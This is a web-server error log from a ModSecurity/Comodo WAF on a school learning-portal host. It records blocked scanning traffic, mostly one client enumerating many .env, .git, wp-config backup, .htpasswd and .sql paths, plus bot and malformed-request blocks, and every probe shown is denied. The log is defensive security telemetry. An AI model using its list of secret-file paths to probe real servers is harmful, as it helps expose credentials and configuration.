[Wed Mar 18 20:01:14.654367 2026] [:error] [pid 42871:tid 42934] [client 34.10.160.156:20796] [client 34.10.160.156] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "abqUCmPUS0lM1M9nUaJcZQAAAJQ"], referer: https://seqta-learn.carmel.wa.edu.au/
[Wed Mar 18 20:01:16.058637 2026] [:error] [pid 53755:tid 53759] [client 34.10.160.156:38388] [client 34.10.160.156] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "abqUC6qw5ZSRshmIhWklqgAAAUI"], referer: https://seqta-learn.carmel.wa.edu.au/
[Wed Mar 18 20:01:16.058722 2026] [:error] [pid 53755:tid 53759] [client 34.10.160.156:38388] [client 34.10.160.156] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "abqUC6qw5ZSRshmIhWklqgAAAUI"], referer: https://seqta-learn.carmel.wa.edu.au/
[Sun Mar 22 17:19:06.923949 2026] [:error] [pid 51468:tid 51488] [client 103.65.236.131:53162] [client 103.65.236.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "ab-0Ck2TppSvA8W5CBQPTwAAAMw"]
[Sun Mar 22 23:24:52.835657 2026] [:error] [pid 30166:tid 30187] [client 103.65.236.131:62632] [client 103.65.236.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "acAJxLm4_26jKMD0zy09igAAAUw"]
[Tue Mar 24 22:03:26.757166 2026] [:error] [pid 38767:tid 38793] [client 216.81.245.214:56956] [client 216.81.245.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "acKZrvwkUqN4GJAI5oVlSgAAARc"]
[Sat Apr 04 10:44:47.898187 2026] [:error] [pid 2459:tid 2546] [client 185.150.191.24:58668] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "adB7HwefyCmu4LR_PlreYwAAAI4"]
[Sat Apr 04 10:44:48.707123 2026] [:error] [pid 2459:tid 2547] [client 185.150.191.24:61890] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "adB7IAefyCmu4LR_PlreZwAAAI8"]
[Sat Apr 04 10:44:48.707552 2026] [:error] [pid 2459:tid 2554] [client 185.150.191.24:61892] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "adB7IAefyCmu4LR_PlreaAAAAJY"]
[Sat Apr 04 10:44:48.707628 2026] [:error] [pid 2458:tid 2528] [client 185.150.191.24:61901] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "adB7ICNozic5SuWqclk1lwAAAFg"]
[Sat Apr 04 10:44:48.707814 2026] [:error] [pid 2457:tid 2497] [client 185.150.191.24:62002] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "adB7IEmNHppaMd92ZpeeAAAAABQ"]
[Sat Apr 04 10:44:48.708227 2026] [:error] [pid 2458:tid 2507] [client 185.150.191.24:62006] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "adB7ICNozic5SuWqclk1mAAAAEM"]
[Sat Apr 04 10:44:48.708791 2026] [:error] [pid 2458:tid 2512] [client 185.150.191.24:62008] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "adB7ICNozic5SuWqclk1mQAAAEg"]
[Sat Apr 04 10:44:48.709741 2026] [:error] [pid 2458:tid 2508] [client 185.150.191.24:62011] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.bak"] [unique_id "adB7ICNozic5SuWqclk1mgAAAEQ"]
[Sat Apr 04 10:44:48.710580 2026] [:error] [pid 2458:tid 2519] [client 185.150.191.24:62010] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "adB7ICNozic5SuWqclk1mwAAAE8"]
[Sat Apr 04 10:44:48.711383 2026] [:error] [pid 2457:tid 2498] [client 185.150.191.24:61895] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/export.sql"] [unique_id "adB7IEmNHppaMd92Zped_wAAABU"]
[Sat Apr 04 10:44:48.711450 2026] [:error] [pid 2458:tid 2510] [client 185.150.191.24:62056] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "adB7ICNozic5SuWqclk1nAAAAEY"]
[Sat Apr 04 10:44:48.711879 2026] [:error] [pid 2457:tid 2482] [client 185.150.191.24:62020] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.old"] [unique_id "adB7IEmNHppaMd92ZpeeAQAAAAU"]
[Sat Apr 04 10:44:48.712825 2026] [:error] [pid 2457:tid 2489] [client 185.150.191.24:62133] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "adB7IEmNHppaMd92ZpeeAgAAAAw"]
[Sat Apr 04 10:44:48.712825 2026] [:error] [pid 2457:tid 2492] [client 185.150.191.24:62136] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "adB7IEmNHppaMd92ZpeeAwAAAA8"]
[Sat Apr 04 10:44:48.713701 2026] [:error] [pid 2457:tid 2488] [client 185.150.191.24:64231] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "adB7IEmNHppaMd92ZpeeBAAAAAs"]
[Sat Apr 04 10:44:48.714021 2026] [:error] [pid 2457:tid 2494] [client 185.150.191.24:64350] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "adB7IEmNHppaMd92ZpeeBQAAABE"]
[Sat Apr 04 10:44:48.923469 2026] [:error] [pid 2457:tid 2483] [client 185.150.191.24:61895] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".inc.php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.inc.php.bak"] [unique_id "adB7IEmNHppaMd92ZpeeBwAAAAY"]
[Sat Apr 04 10:44:49.124787 2026] [:error] [pid 2457:tid 2488] [client 185.150.191.24:61895] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.copy"] [unique_id "adB7IUmNHppaMd92ZpeeCQAAAAs"]
[Sat Apr 04 10:44:49.519442 2026] [:error] [pid 2457:tid 2482] [client 185.150.191.24:52809] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/settings.php.bak"] [unique_id "adB7IUmNHppaMd92ZpeeDAAAAAU"]
[Sat Apr 04 10:44:49.519549 2026] [:error] [pid 2457:tid 2498] [client 185.150.191.24:52778] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configuration.php.bak"] [unique_id "adB7IUmNHppaMd92ZpeeCwAAABU"]
[Sat Apr 04 10:44:49.520590 2026] [:error] [pid 37114:tid 37129] [client 185.150.191.24:52810] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.txt"] [unique_id "adB7Ic-DnSj3fGMexeIQAQAAAQ0"]
[Sat Apr 04 10:44:49.521935 2026] [:error] [pid 2458:tid 2505] [client 185.150.191.24:51969] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php~"] [unique_id "adB7ISNozic5SuWqclk1nwAAAEE"]
[Sat Apr 04 10:44:49.522271 2026] [:error] [pid 2458:tid 2527] [client 185.150.191.24:52812] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/local.php.bak"] [unique_id "adB7ISNozic5SuWqclk1ngAAAFc"]
[Sat Apr 04 10:44:49.524681 2026] [:error] [pid 2458:tid 2528] [client 185.150.191.24:51972] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.txt"] [unique_id "adB7ISNozic5SuWqclk1oAAAAFg"]
[Sat Apr 04 10:44:49.525931 2026] [:error] [pid 2457:tid 2492] [client 185.150.191.24:51970] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bkp"] [unique_id "adB7IUmNHppaMd92ZpeeDQAAAA8"]
[Sat Apr 04 10:44:49.528037 2026] [:error] [pid 2457:tid 2489] [client 185.150.191.24:51992] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "adB7IUmNHppaMd92ZpeeDgAAAAw"]
[Sat Apr 04 10:44:49.531137 2026] [:error] [pid 2458:tid 2507] [client 185.150.191.24:51996] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "adB7ISNozic5SuWqclk1oQAAAEM"]
[Sat Apr 04 10:44:49.531897 2026] [:error] [pid 2457:tid 2485] [client 185.150.191.24:52034] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.orig"] [unique_id "adB7IUmNHppaMd92ZpeeDwAAAAg"]
[Sat Apr 04 10:44:49.533631 2026] [:error] [pid 2458:tid 2512] [client 185.150.191.24:52012] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.php.bak"] [unique_id "adB7ISNozic5SuWqclk1ogAAAEg"]
[Sat Apr 04 10:44:49.533674 2026] [:error] [pid 2458:tid 2519] [client 185.150.191.24:65179] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "adB7ISNozic5SuWqclk1owAAAE8"]
[Sat Apr 04 10:44:49.534288 2026] [:error] [pid 2458:tid 2508] [client 185.150.191.24:50695] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.swp"] [unique_id "adB7ISNozic5SuWqclk1pAAAAEQ"]
[Sat Apr 04 10:44:49.536336 2026] [:error] [pid 2457:tid 2490] [client 185.150.191.24:54471] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database.php.bak"] [unique_id "adB7IUmNHppaMd92ZpeeEAAAAA0"]
[Sat Apr 04 10:44:49.721301 2026] [:error] [pid 2457:tid 2487] [client 185.150.191.24:52809] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.0"] [unique_id "adB7IUmNHppaMd92ZpeeEgAAAAo"]
[Sat Apr 04 10:44:49.721808 2026] [:error] [pid 2457:tid 2486] [client 185.150.191.24:52778] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.htpasswd"] [unique_id "adB7IUmNHppaMd92ZpeeEwAAAAk"]
[Sat Apr 04 10:44:49.723936 2026] [:error] [pid 37114:tid 37131] [client 185.150.191.24:55238] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "adB7Ic-DnSj3fGMexeIQAgAAAQ8"]
[Sat Apr 04 10:44:49.724813 2026] [:error] [pid 37114:tid 37138] [client 185.150.191.24:55237] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQAwAAARY"]
[Sat Apr 04 10:44:49.725424 2026] [:error] [pid 2458:tid 2509] [client 185.150.191.24:52812] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "adB7ISNozic5SuWqclk1pQAAAEU"]
[Sat Apr 04 10:44:49.727905 2026] [:error] [pid 37114:tid 37128] [client 185.150.191.24:55235] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQBQAAAQw"]
[Sat Apr 04 10:44:49.733779 2026] [:error] [pid 2457:tid 2483] [client 185.150.191.24:57683] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/.env"] [unique_id "adB7IUmNHppaMd92ZpeeFAAAAAY"]
[Sat Apr 04 10:44:49.735940 2026] [:error] [pid 2458:tid 2517] [client 185.150.191.24:52012] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/src/.env"] [unique_id "adB7ISNozic5SuWqclk1pgAAAE0"]
[Sat Apr 04 10:44:49.738462 2026] [:error] [pid 2457:tid 2484] [client 185.150.191.24:63678] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "adB7IUmNHppaMd92ZpeeFgAAAAc"]
[Sat Apr 04 10:44:49.738764 2026] [:error] [pid 2457:tid 2481] [client 185.150.191.24:54471] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.env"] [unique_id "adB7IUmNHppaMd92ZpeeFwAAAAQ"]
[Sat Apr 04 10:44:49.923668 2026] [:error] [pid 37114:tid 37121] [client 185.150.191.24:63677] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "adB7Ic-DnSj3fGMexeIQBwAAAQU"]
[Sat Apr 04 10:44:49.925039 2026] [:error] [pid 2567:tid 2592] [client 185.150.191.24:58852] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/laravel/.env"] [unique_id "adB7IWJJmfRsTrAKjdQxWQAAANI"]
[Sat Apr 04 10:44:49.926403 2026] [:error] [pid 2567:tid 2582] [client 185.150.191.24:54474] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/www/.env"] [unique_id "adB7IWJJmfRsTrAKjdQxWgAAAMg"]
[Sat Apr 04 10:44:49.927755 2026] [:error] [pid 2567:tid 2577] [client 185.150.191.24:54473] [client 185.150.191.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/site/.env"] [unique_id "adB7IWJJmfRsTrAKjdQxWwAAAMM"]
